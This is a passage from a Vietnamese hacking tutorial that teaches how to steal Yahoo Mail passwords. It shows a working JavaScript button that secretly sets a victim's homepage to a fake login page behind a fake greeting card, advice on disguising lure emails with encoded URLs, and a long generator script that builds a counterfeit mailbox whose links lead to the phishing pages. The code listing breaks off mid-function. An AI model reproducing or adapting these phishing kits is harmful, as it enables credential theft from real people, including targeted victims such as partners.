http://wWw.Hack.Cf Page 88
Mỹ.... hehhe, sướng không Theo điều tra của tôi, thì khoảng 100 máy tính cá nhân
có nối mạng thì khoảng 60% là có set homepage vào các trang hay dùng, điển hình
như mail.yahoo.com, hotmail.com, vnexpress.net.....
như vậy, cho dù bạn có set homepage lén vào máy victim, cũng không hề bị phát
hiện.
Hiện nay có con virus Html/Sam.A cũng có chức năng tương tự, nhưng đã bị công bố
mã nguồn và hầu hết các chương trình diệt virus diệt được......Nên tôi dùng cách
khác.....
Từ các bước sau, yêu cầu các bạn phải nắm được tương đối cách lập trình Web, đơn
giản thôi, chỉ là các JavaScript và Html , không có gì phức tạp cả, với mức độ ngày
càng khó (hic, đầu tư tí chất xám mới thành công được, phải không nhỉ )
**********************************************
Bước 2: Mượn gió bẻ măng, hay gọi là ném đá giấu tay cũng được
Giải thích ý tưởng: Tôi đã ngâm cứu thành công 1 dạng fake greeting ecard, dùng
frame kết hợp với JavaScript để đánh lừa victim (hic nói ra thì tôi còn lừa được ai nữa
!!!!), ecard do bạn tạo ra càng đẹp, thì độ mắc lừa của victim càng cao..... Khi victim
nghĩ đấy là 1 ecard thật, tất nhiên sẽ click vào 1 nút nào đó, ví dụ như nút có tên là
Begin chẳng hạn, khi click vào đó, thì sẽ có 1 bảng thông báo của Homepage, cái này
là khuyết điểm duy nhất của bước này, nhưng tôi tin là không ai nghi ngờ cả, vì hầu
như trang eCard xịn nào cũng có những thông báo và PopUp, thành ra thông báo đó
sẽ không ai để ý. Khi victim click vào Okie, thì eCard sẽ mở ra và ten tèn ten, máy
của victim đã bị set homepage address là trang fake login của mình rồi.......
Nếu bạn là người thích sưu tầm pass, thì đây là 1 cách lí tưởng, còn nếu không, thì
thích hợp cho victim có nối mạng ở nhà......
Phần 3 tôi sẽ hướng dẫn các bạn cách đánh thẳng mục tiêu, đã nhằm victim nào là
không thể chạy được....., cách này nói chung là đối với những ai rành lập trình Web
thì tương đối đơn giản, còn Newbie thì sẽ rất khó khăn đấy......
*********************************************
1) Làm trang fake ecard
Ví dụ: http://w%77w%2Emir%63%64.us/%70%79mn%71h/@6%2Eh%74m
(click vào OK xem kết quả, yên tâm không thành victim đâu)
Sau đây là hướng dẫn:
Thực chất của vấn đề là đoạn script set homepage,
Đoạn script đó như sau:
QUOTE
<A title="Tiêu đề của bạn"
href="Đường dẫn đến trang ecard dởm của bạn"
target=_self onClick="this.style.behavior='url(#default#homepage)';
this.setHomePage('đường dẫn đến trang fake login của bạn');">tên nút</a>
http://wWw.Hack.Cf Page 89
Lưu ý là đường dẫn đến trang fake login phải có 2 dấu ', nếu không nó không hoạt
động đâu
Đoạn Script này có tác dụng tạo 1 nút, vừa mở ra 1 trang mới, vừa set homepage
address, thành ra hiệu quả cực cao......
Còn làm giao diện trang eCard như thế nào là tuỳ thuộc vào bạn
2. Tạo thư có giao diện như 1 ecard mail
Sau đó, bạn lập 1 hòm thư mới, có tên gì nghe liên quan đến eCard 1 tí, tạo 1 thư có
giao diện như 1 ecard (rất đơn giản, bạn chỉ cần copy/paste 1 cái Greeting card bất
kì, sau đó dán vào Msg box của bạn, chỉnh sửa đường dẫn đến ecard của bạn là xong
(nhớ mã hoá đường dẫn nhé ), khi victim click vào..... hêhhhe, các bạn cũng đoán
được kết quả rồi đó....)
Chúc thành công!
****************************************
Bài viết của Cuccu__
****************************************
Chú ý:
Nếu các bạn dùng host www.mircd.com, và dùng cách mã hoá Url, cần chú ý:
* Mã hoá Url thông thường chấp nhận tất cả các trang Web, nhưng nếu bạn Save as
trang login của Yahoo, thì nó sẽ không đọc các file ảnh, lúc đó fake login của bạn sẽ
thủng lỗ chỗ nếu up lên host mà đường link của bạn được mã hoá (thử mà xem)
Cách khắc phục: sửa đường dẫn của các file ảnh
Khi bạn save as, thường là nó sẽ save thành file: Yahoo! Mail - the best.......htm và 1
thư mục chứa các file ảnh và *.js có tên là Yahoo! Mail - the best......_files.
Chính cái tên loằng ngoằng này khiến cho các file ảnh nằm trong nó load rất chậm
và nhiều khi không load được, gây ra hiện tượng lỗi....., nếu bạn dùng
www.mircd.com thì nó chỉ cho upload file, không cho tạo thư mục mới....
Đầu tiên, bạn nên sửa cái file Yahoo! Mail..... thành tên ngắn gọn thôi, càng ngắn
càng tốt (nếu bạn dùng www.mircd.com thì nên đổi thành index.html)
Dùng trình notepad, mở file đó ra, ấn tổ hợp phím : ctrl + H (để thay thế 1 cụm từ
thành 1 cụm từ khác)
Ở box Find What: điền vào là
Yahoo! Mail - The best free web-based email!_files/
Ở box Replace With: để trống
http://wWw.Hack.Cf Page 90
Sau đó bạn click vào Replace All để thay thế
Save file index.html vừa sửa đổi lại, copy tất cả các file trong thư mục Yahoo! Mail -
The best free web-based email!_files và file index.html vào cùng 1 thư mục khác,
sau đó upload lên host.....
Okie, lúc này thì bạn mã hoá Url thoải mái rồi đó......
Bước 3: Nghi binh
Theo tôi, nếu chỉ có trang fake login thì chưa đủ để gạt victim, nhất là khi cần đánh
trúng đối tượng cần lấy pass (như pass của người yêu chẳng hạn ), do đó cần một
vài thủ thuật nho nhỏ để victim không nghi ngờ.......
1) Giả mạo Mail Box của Victim:
Một Mail Box được mở ra mà quên không Sign Out, thường khi truy cập lại, Yahoo!
Mail sẽ tự động login lại Mail Box vừa mở, do đó, cách nghi binh đầu tiên là tạo một
mail box y hệt của victim, trong đó tất cả các nút, đường link đã bị thay đổi đến các
trang giả mạo của mình.
Các "công cụ" cần có trước tiên:
* Bạn vào MailBox của chính bạn, save as nó, sau đó không cần làm gì nữa, bạn chỉ
cần các file trong thư mục "Yahoo! Mail - Tên bạn@yahoo.com_files"
* trang Re_login của Yahoo! Mail (có khi ta mở 2 Mail Box khác nhau)
* trang Return Yahoo! Mail (có được khi ta Sign Out)
* Sau khi có được 2 trang này, sửa đường dẫn Re_login và Return Yahoo! Mail đến
trang Fake login của bạn
* Đọc chú ý của tôi ở trên và làm theo như vậy đối với 2 trang vừa save as (Re_login
và Return Yahoo! Mail)
Do cách làm trang Fake Mailbox có lẽ khó đối với những người mới và những ai
không quen lập trình Web, tôi đã viết 1 Tool có chức năng giả mạo Mail Box của
Victim, bạn chỉ cần điền các thông số vào là xong.... (phù, mệt quá , không biết xong
vụ này được lên * ko )
Bạn copy toàn bộ đoạn code dưới đây vào 1 trang web, save lại là dùng được ngay
sau khi save, bạn copy trang fake mailbox này vào cùng 1 thư mục với những file
trong thư mục "Yahoo! Mail - Tên bạn@yahoo.com_files" vừa save as xong........
Lưu ý: Xin giữ lại tên tác giả hộ, nếu bạn muốn truyền bá rộng rãi, Thanks
Sau đây là đoạn code, do quá dài nên tôi post làm 2 phần, bạn copy ở 2 bài làm
1 nhé: (tôi đã hướng dẫn rất kĩ rồi, bạn chỉ cần làm theo là được)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Chinh* su*a Mail Box Victim</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-
1252"><LINK <META content="Microsoft FrontPage 5.0"
name=GENERATOR></HEAD>
http://wWw.Hack.Cf Page 91
<BODY bgcolor="#FFFFCC">
<p align="center">
<u>
<font size="7" color="#FF9900"><b>Chinh sua Mail Box gia mao. cua
Victim</b></font></u></p>
<p align="right"><b><i><u><font size="4" color="#FF0000">(Nguoi viet:
Cuccu__)</font></u></i><BR>
</b><BR>
</p>
<p align="left">
<b>Dia chi Mail cua victim:</b> <INPUT value="victim" name=b1 size="25">
(khong co' duoi @yahoo.com)<BR><BR>
<b>Duong link cua trang Re_login dom* cua ban: </b> <INPUT value="Yahoo! Mail
relogin" name=b2 size="20">
(nho'' phai co' http://)<br>
<font color="#FF0000">(co' tac dung khi click vao` bat ki` nut check mail,
compose, inbox.....)<br>
</font><br>
<b>Duong link cua trang Return Yahoo! Mail: </b> <INPUT value="Yahoo!"
name=b3 size="20">
(nho'' phai co' http://)<br>
<font color="#FF0000">(co' tac dung khi click vao` nut Sign
Out)</font><BR><BR>
<b>So^' mail trong folder Inbox</b>: <INPUT value="2" name=b4
size="20"><BR><BR>
<b>So^' mail trong folder Bulk</b>: <INPUT value=29 name=b5
size="20"><BR><BR>
<b>Tong^* cua mail trong Inbox va` Bulk</b>: <INPUT value=31 name=b6
size="20"><BR><BR>
<b>Ten^ dau^` cua Victim:</b> <INPUT value=Phan name=b7 size="20"><br>
<font color="#FF0000">(trong dong` Wellcome...., vi' du. hop thu cua toi la`
Wellcom, Phan)</font></p>
<script>
function gene()
{
r=Math.floor(Math.random()*100000)
K='"'
F="S"
clrar.value+="<!DOCTYPE HTML PUBLIC "+K+"-//W3C//DTD HTML 4.0
Transitional//EN"+K+">n"
clrar.value+="<!-- saved from
url=(0058)http://us.f137.mail.yahoo.com/ym/login?.rand=84b8k66avhn5g -->n"
clrar.value+="<!--web13705--><HTML><HEAD><TITLE>Yahoo! Mail -
"+b1.value+"@yahoo.com</TITLE>n"
clrar.value+="<META http-equiv=Content-Type content="+K+"text/html;
charset=windows-1252"+K+">n"
clrar.value+="<script>n"
clrar.value+="<!-- n"
http://wWw.Hack.Cf Page 92
clrar.value+="if (typeof top.frames["+K+"wmailmain"+K+"] !=
"+K+"undefined"+K+") {n"
clrar.value+=" window.open("+K+"http://mail.yahoo.com"+K+",
"+K+"_top"+K+");n"
clrar.value+="}n"
clrar.value+="var ypim_color = "+K+"blue"+K+";n"
clrar.value+="// -->n"
clrar.value+="</"+F+"CRIPT>nn"
clrar.value+="<script src="+K+"ylib_dom.js"+K+"></"+F+"CRIPT>nn"
clrar.value+="<script language=JavaScript n"
clrar.value+="src="+K+"pim.js"+K+"></"+F+"CRIPT>nn"
clrar.value+="<script language=JavaScriptn"
clrar.value+="src="+K+"pim_css.js"+K+"></"+F+"CRIPT>n"
clrar.value+="<NOSCRIPT>n"
clrar.value+="<META http-equiv=Refresh content="+K+"0;
URL=/ym/login?nojs=1"+K+"></NOSCRIPT>n"
clrar.value+="<script>n"
clrar.value+=" var newWin=null;n"
clrar.value+=" var onscreen=false;nn"
clrar.value+=" function NewWin(url,name,xpos,ypos,width,height)n"
clrar.value+=" {n"
clrar.value+=" newWin=window.open(n"
clrar.value+=" url,n"
clrar.value+=" name,n"
clrar.value+="
"+K+"screenX="+K+"+xpos+"+K+",screenY="+K+"+ypos+"+K+",WIDTH="+K+"+
width+"+K+",HEIGHT="+K+"+height+"+K+",location=0,resizable=1,status=0,titleb
ar=1,directories=0,toolbar=0,menubar=0,scrollbars=0,status=0"+K+"n"
clrar.value+=" );n"
clrar.value+=" newWin.focus();n"
clrar.value+=" onscreen=true; n"
clrar.value+=" }n"
clrar.value+="</"+F+"CRIPT>n"
clrar.value+="<TD></TD><TD></TD>n"
clrar.value+="<META content="+K+"Microsoft FrontPage 5.0"+K+"
name=GENERATOR></HEAD>n"
clrar.value+="<BODY vLink=#0000ff link=#0000ff bgColor=white leftMargin=4
topMargin=4 n"
clrar.value+="marginheight="+K+"4"+K+" marginwidth="+K+"4"+K+">n"
clrar.value+="<script>n"
clrar.value+=" function Help(link)n"
clrar.value+=" {n"
clrar.value+="
window.open(link,"+K+"help"+K+","+K+"width=400,height=500,scrollbars=yes,dep
endent=yes"+K+");n"
clrar.value+=" }n"
http://wWw.Hack.Cf Page 93
clrar.value+=" if (document.cookie != "+K+""+K+" &&
document.cookie.indexOf("+K+"19AC/A"+K+") == -1) {n"
clrar.value+=" window.open("+K+"http://mail.yahoo.com"+K+",
"+K+"_top"+K+");n"
clrar.value+=" }n"
clrar.value+="</"+F+"CRIPT>n"
clrar.value+="<!-- begin search masthead -->n"
clrar.value+="<DIV style="+K+"MARGIN-TOP: -4px"+K+">n"
clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR bgColor=#dcdcdc>n"
clrar.value+=" <TD noWrap colSpan=2 height=4><SPACER height="+K+"1"+K+"
width="+K+"1"+K+" n"
clrar.value+=" type="+K+"block"+K+"></TD></TR>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD width="+K+"99%"+K+">n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD noWrap colSpan=3 height=3><SPACER height="+K+"1"+K+"
width="+K+"1"+K+" n"
clrar.value+=" type="+K+"block"+K+"></TD></TR>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A href="+K+"http://mail.yahoo.com/"+K+"><IMG height=34
n"
clrar.value+=" alt="+K+"Yahoo! Mail"+K+" n"
clrar.value+=" src="+K+"mailma1.gif"+K+" n"
clrar.value+=" width=250 border=0></A> </TD>n"
clrar.value+=" <TD noWrap><FONT face=arial size=-1><A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/mail_us/pimnav/welcome/?http://www.yahoo.co
m"+K+">Yahoo!</A> n"
clrar.value+=" - <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/mail_us/pimnav/welcome/?http://my.yahoo.com
"+K+">My n"
clrar.value+=" Yahoo!</A> - <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/mail_us/help/?http://help.yahoo.com/help/us/m
ail"+K+">Help</A> n"
clrar.value+=" </FONT> </TD>n"
clrar.value+=" <TD align=right>n"
clrar.value+=" <script language=JavaScript>n"
clrar.value+="var pb_target="+K+"_blank"+K+";n"
clrar.value+="var pb_URL = new Array();n"
clrar.value+="pb_URL[1]="+K+"http://rd.yahoo.com/M=243098.2891634.4238018.
1284474/D=mail/S=150500014:PB/A=1579788/R=0/id=flashurl/SIG=18a42jaeu/*h
ttp://shop.store.yahoo.com/cgi-
bin/clink?hp3+shopping:dmad/M=243098.2891634.4238018.1284474/D=mail/S=15
http://wWw.Hack.Cf Page 94
0500014:PB/A=1579788/R=1/1057492859+http://us.rmi.yahoo.com/rmi/http://ww
w.compaq.com/rmi-framed-
url/http://www.compaq.com/bridge/poweredby/smb/index-yahoo.html"+K+";n"
clrar.value+="var pb_flashfile="+K+"http://us.a1.yimg.com/us.yimg.com/a/1-
/flash/hp/pb/pbhp_84x28_blu_yahoomail.swf"+K+";n"
clrar.value+="var
pb_altURL="+K+"http://rd.yahoo.com/M=243098.2891634.4238018.1284474/D=m
ail/S=150500014:PB/A=1579788/R=2/id=altimgurl/SIG=18a6fp7oj/*http://shop.st
ore.yahoo.com/cgi-
bin/clink?hp3+shopping:dmad/M=243098.2891634.4238018.1284474/D=mail/S=15
0500014:PB/A=1579788/R=3/1057492859+http://us.rmi.yahoo.com/rmi/http://ww
w.compaq.com/rmi-framed-
url/http://www.compaq.com/bridge/poweredby/smb/index-yahoo.html"+K+";n"
clrar.value+="var pb_altimg="+K+"http://us.a1.yimg.com/us.yimg.com/a/1-
/flash/hp/pb/pbhp_84x28_blu_yahoo.gif"+K+";n"
clrar.value+="var pb_width=84;n"
clrar.value+="var pb_height=28;n"
clrar.value+="var pb_FitNewWinHeight = new Array;n"
clrar.value+="var pb_FitNewWinWidth = new Array;n"
clrar.value+="pb_FitNewWinWidth[1] = 790;n"
clrar.value+="pb_FitNewWinHeight[1] = 590;n"
clrar.value+=" </"+F+"CRIPT>nn"
clrar.value+=" <script language=JavaScript n"
clrar.value+=" src="+K+"fs_pb_fitted_072002b.js"+K+">n"
clrar.value+=" </"+F+"CRIPT>n"
clrar.value+=" <NOSCRIPT>n"
clrar.value+=" <A n"
clrar.value+="
href="+K+"http://rd.yahoo.com/M=243098.2891634.4238018.1284474/D=mail/S=
150500014:PB/A=1579788/R=4/id=noscript/SIG=18aib6l1q/*http://shop.store.yah
oo.com/cgi-
bin/clink?hp3+shopping:dmad/M=243098.2891634.4238018.1284474/D=mail/S=15
0500014:PB/A=1579788/R=5/1057492859+http://us.rmi.yahoo.com/rmi/http://ww
w.compaq.com/rmi-framed-
url/http://www.compaq.com/bridge/poweredby/smb/index-yahoo.html"+K+" n"
clrar.value+=" target=_blank><IMG height=28 n"
clrar.value+=" src="+K+"pbhp_84x28_blu_yahoo.gif"+K+" n"
clrar.value+=" width=84
border=0></A></NOSCRIPT></TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD vAlign=top noWrap align=right width="+K+"1%"+K+">n"
clrar.value+=" <FORM style="+K+"MARGIN-TOP: 0px; MARGIN-BOTTOM:
0px"+K+" n"
clrar.value+="
action=http://srd.yahoo.com/fp=150500001&loc=head&st=yahoo/*http://search.ya
hoo.com/search n"
clrar.value+=" target=_blank><INPUT type=hidden value=ush1-mail name=fr> n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width=250 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR vAlign=top>n"
http://wWw.Hack.Cf Page 95
clrar.value+=" <TD align=right width=17><IMG height=30 alt="+K+""+K+" n"
clrar.value+=" src="+K+"sch_ang30_1.gif"+K+" n"
clrar.value+=" width=17></TD>n"
clrar.value+=" <TD vAlign=center align=middle bgColor=#dcdcdc>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><IMG height=16 n"
clrar.value+=" src="+K+"stw2.gif"+K+" n"
clrar.value+=" width=38> </TD>n"
clrar.value+=" <TD><INPUT title="+K+"enter search terms here"+K+" size=12
name=p></TD>n"
clrar.value+=" <TD><INPUT type=submit
value=Search></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE
></FORM></TD></TR>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD noWrap colSpan=2 height=5><SPACER height="+K+"1"+K+"
width="+K+"1"+K+" n"
clrar.value+="
type="+K+"block"+K+"></TD></TR></TBODY></TABLE></DIV><!-- end search
masthead -->n"
clrar.value+="<CENTER><!-- SpaceID=150500014 loc=SREC noad --
></CENTER><BR>n"
clrar.value+="<script>n"
clrar.value+=" var oKey = new ylib_keyevt();n"
clrar.value+=" oKey.addKey(67,-
1,"+K+"location='http://us.f137.mail.yahoo.com/ym/ShowFolder?rb=Inbox&YY=334
22&YN=1'"+K+","+K+"shift+ctrl"+K+"); // Check Mail | CTRL-Cn"
clrar.value+=" oKey.addKey(80,-
1,"+K+"location='http://us.f137.mail.yahoo.com/ym/Compose?YY=33422'"+K+","+
K+"shift+ctrl"+K+"); // Compose | CTRL-Pn"
clrar.value+=" oKey.addKey(70,-
1,"+K+"location='http://us.f137.mail.yahoo.com/ym/Folders?YY=33422'"+K+","+K
+"shift+ctrl"+K+"); // Folders | CTRL-Fn"
clrar.value+=" oKey.addKey(83,-
1,"+K+"location='http://us.f137.mail.yahoo.com/ym/Search?YY=33422'"+K+","+K+
"shift+ctrl"+K+"); // Search | CTRL-Sn"
clrar.value+=" oKey.addKey(72,-
1,"+K+"location='http://help.yahoo.com/help/us/mail'"+K+","+K+"shift+ctrl"+K+")
; // Help | CTRL-Hn"
clrar.value+="</"+F+"CRIPT>nn"
clrar.value+="<script language=javascript>n"
clrar.value+="<!-- n"
clrar.value+=" function init() n"
clrar.value+=" { n"
clrar.value+=" if (oBw.ie||oBw.dom) { nn"
clrar.value+=" ypim_initMenu('mail','addr','cal','note'); // initiates the drop down
menus n"
http://wWw.Hack.Cf Page 96
clrar.value+=" document.onkeydown = function(evt) { oKey.keyevent(evt); }n"
clrar.value+=" }n"
clrar.value+=" OnLoad(); // do not deleten"
clrar.value+=" }nn"
clrar.value+=" function OnLoad()n"
clrar.value+=" {n"
clrar.value+=" // noop by defaultn"
clrar.value+=" // redefine as neededn"
clrar.value+=" }n"
clrar.value+=" onload=initn"
clrar.value+=" //-->n"
clrar.value+="</"+F+"CRIPT>nn"
clrar.value+="<TABLE cellSpacing=0 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=tabhi width="+K+"1%"+K+">n"
clrar.value+=" <TABLE id=mailTb cellSpacing=0 cellPadding=0
width="+K+"100%"+K+" border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=tabhia id=mail1>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A href="+K+"http://mail.yahoo.com/"+K+"><IMG height=24
n"
clrar.value+=" alt="+K+"Yahoo! Mail"+K+" hspace=4 n"
clrar.value+=" src="+K+"mailbr1.gif"+K+" n"
clrar.value+=" width=24 border=0 name=iconmail></A></TD>n"
clrar.value+=" <TD class=tabhit noWrap><A n"
clrar.value+=" href="+K+"http://mail.yahoo.com/"+K+">Mail</A>
</TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tabhia id=mailBtn vAlign=center><A n"
clrar.value+=" onclick="+K+"ypim_prepareMail(); return
ypim_showMenu('mail')"+K+" n"
clrar.value+=" href="+K+"http://mail.yahoo.com/"+K+"><IMG height=24 n"
clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n"
clrar.value+=" border=0
name=arr_mail></A></TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tablor width="+K+"1%"+K+">n"
clrar.value+=" <TABLE id=addrTb cellSpacing=0 cellPadding=0
width="+K+"100%"+K+" border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=tabloa id=addr1>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
http://wWw.Hack.Cf Page 97
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A href="+K+"http://address.yahoo.com/yab/us"+K+"><IMG
height=24 n"
clrar.value+=" alt="+K+"Yahoo! Address Book"+K+" hspace=4 n"
clrar.value+=" src="+K+"abbr1.gif"+K+" n"
clrar.value+=" width=24 border=0 name=iconaddr></A></TD>n"
clrar.value+=" <TD class=tablot noWrap><A n"
clrar.value+=" href="+K+"http://mail.yahoo.com/"+K+">Mail</A>
</TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tabhia id=mailBtn vAlign=center><A n"
clrar.value+=" onclick="+K+"ypim_prepareMail(); return
ypim_showMenu('mail')"+K+" n"
clrar.value+=" href="+K+"http://mail.yahoo.com/"+K+"><IMG height=24 n"
clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n"
clrar.value+=" border=0
name=arr_mail></A></TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tablor width="+K+"1%"+K+">n"
clrar.value+=" <TABLE id=addrTb cellSpacing=0 cellPadding=0
width="+K+"100%"+K+" border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=tabloa id=addr1>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A href="+K+"http://address.yahoo.com/yab/us"+K+"><IMG
height=24 n"
clrar.value+=" alt="+K+"Yahoo! Address Book"+K+" hspace=4 n"
clrar.value+=" src="+K+"abbr1.gif"+K+" n"
clrar.value+=" width=24 border=0 name=iconaddr></A></TD>n"
clrar.value+=" <TD class=tablot noWrap><A n"
clrar.value+=" href="+K+"http://address.yahoo.com/yab/us"+K+">Addresses</A>
</TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tabloa id=addrBtn vAlign=center><A n"
clrar.value+=" onclick="+K+"ypim_prepareAddr(); return
ypim_showMenu('addr')"+K+" n"
clrar.value+=" href="+K+"http://address.yahoo.com/yab/us"+K+"><IMG
height=24 n"
clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n"
clrar.value+=" border=0
name=arr_addr></A></TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tablor width="+K+"1%"+K+">n"
clrar.value+=" <TABLE id=calTb cellSpacing=0 cellPadding=0
width="+K+"100%"+K+" border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=tabloa id=cal1>n"
http://wWw.Hack.Cf Page 98
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+="<TD><A href="+K+"http://calendar.yahoo.com/"+K+"><IMG
height=24 n"
clrar.value+=" alt="+K+"Yahoo! Calendar"+K+" hspace=4 n"
clrar.value+=" src="+K+"calbr1.gif"+K+" n"
clrar.value+=" width=24 border=0 name=iconcal></A></TD>n"
clrar.value+=" <TD class=tablot noWrap><A n"
clrar.value+=" href="+K+"http://calendar.yahoo.com/"+K+">Calendar</A>
</TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tabloa id=calBtn vAlign=center><A n"
clrar.value+=" onclick="+K+"ypim_prepareCal(); return
ypim_showMenu('cal')"+K+" n"
clrar.value+=" href="+K+"http://calendar.yahoo.com/"+K+"><IMG height=24 n"
clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n"
clrar.value+=" border=0
name=arr_cal></A></TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tablor width="+K+"1%"+K+">n"
clrar.value+=" <TABLE id=noteTb cellSpacing=0 cellPadding=0
width="+K+"100%"+K+" border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=tabloa id=note1>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A href="+K+"http://notepad.yahoo.com/"+K+"><IMG
height=24 n"
clrar.value+=" alt="+K+"Yahoo! Notepad"+K+" hspace=4 n"
clrar.value+=" src="+K+"npdbr1.gif"+K+" n"
clrar.value+=" width=24 border=0 name=iconnote></A></TD>n"
clrar.value+=" <TD class=tablot noWrap><A n"
clrar.value+=" href="+K+"http://notepad.yahoo.com/"+K+">Notepad</A>
</TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tabloa id=noteBtn vAlign=center><A n"
clrar.value+=" onclick="+K+"ypim_prepareNote(); return
ypim_showMenu('note')"+K+" n"
clrar.value+=" href="+K+"http://notepad.yahoo.com/"+K+"><IMG height=24 n"
clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n"
clrar.value+=" border=0
name=arr_note></A></TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=tabnone align=right
width="+K+"95%"+K+"><B>"+b1.value+"@yahoo.com</B> [<A n"
clrar.value+=" href="+K+""+b3.value+""+K+">Sign n"
clrar.value+=" Out</A>] </TD></TR></TBODY></TABLE>n"
clrar.value+="<TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+"
border=0>n"
http://wWw.Hack.Cf Page 99
clrar.value+=" <TBODY>n"
clrar.value+=" <TR class=bgd bgColor=#e4ecf6>n"
clrar.value+=" <TD align=left>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=2 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=tbutton n"
clrar.value+="
onclick="+K+"window.open('/ym/ShowFolder?rb=Inbox&YY=33422&YN=1',
'_top')"+K+" n"
clrar.value+=" width=100><A n"
clrar.value+=" href="+K+""+b2.value+""+K+">Check Mail</A> </TD>n"
clrar.value+=" <TD> </TD>n"
clrar.value+=" <TD class=tbutton n"
clrar.value+=" onclick="+K+"window.open('/ym/Compose?YY=33422', '_top')"+K+"
width=100><A n"
clrar.value+=" href="+K+""+b2.value+""+K+">Compose</A> n"
clrar.value+=" </TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD vAlign=bottom align=right>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=bge bgColor=#e4ecf6><A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/mail_us/nav/?http://billing.mail.yahoo.com/bm/
Upgrades"+K+" n"
clrar.value+=" target=_blank>Mail Upgrades</A> - <A n"
clrar.value+="
href="+K+"http://us.f137.mail.yahoo.com/ym/Search?YY=33422"+K+">Search n"
clrar.value+=" Mail</A> - <A n"
clrar.value+="
href="+K+"http://us.f137.mail.yahoo.com/ym/Options?YY=33422"+K+"><B>Mail
n"
clrar.value+="
Options</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TAB
LE>n"
clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=bgd bgColor=#9bbad6 height=4><IMG height=3 n"
clrar.value+=" src="+K+"space.gif"+K+" n"
clrar.value+=" width=2></TD></TR></TBODY></TABLE>n"
clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=bgd vAlign=top width=160 bgColor=#9bbad6>n"
clrar.value+=" <script>n"
clrar.value+="function AddFolder()n"
http://wWw.Hack.Cf Page 100
clrar.value+=" {n"
clrar.value+=" var nn = window.prompt("+K+"Please enter a name for your
folder."+K+","+K+""+K+");n"
clrar.value+=" if (nn != null && nn != "+K+"null"+K+" && nn != "+K+""+K+") {n"
clrar.value+=" var nn_escaped = "+K+""+K+";n"
clrar.value+=" var nn_len = nn.length;n"
clrar.value+=" for (i = 0 ; i < nn_len ; i++) {n"
clrar.value+=" var nn_asc = nn.charCodeAt(i);n"
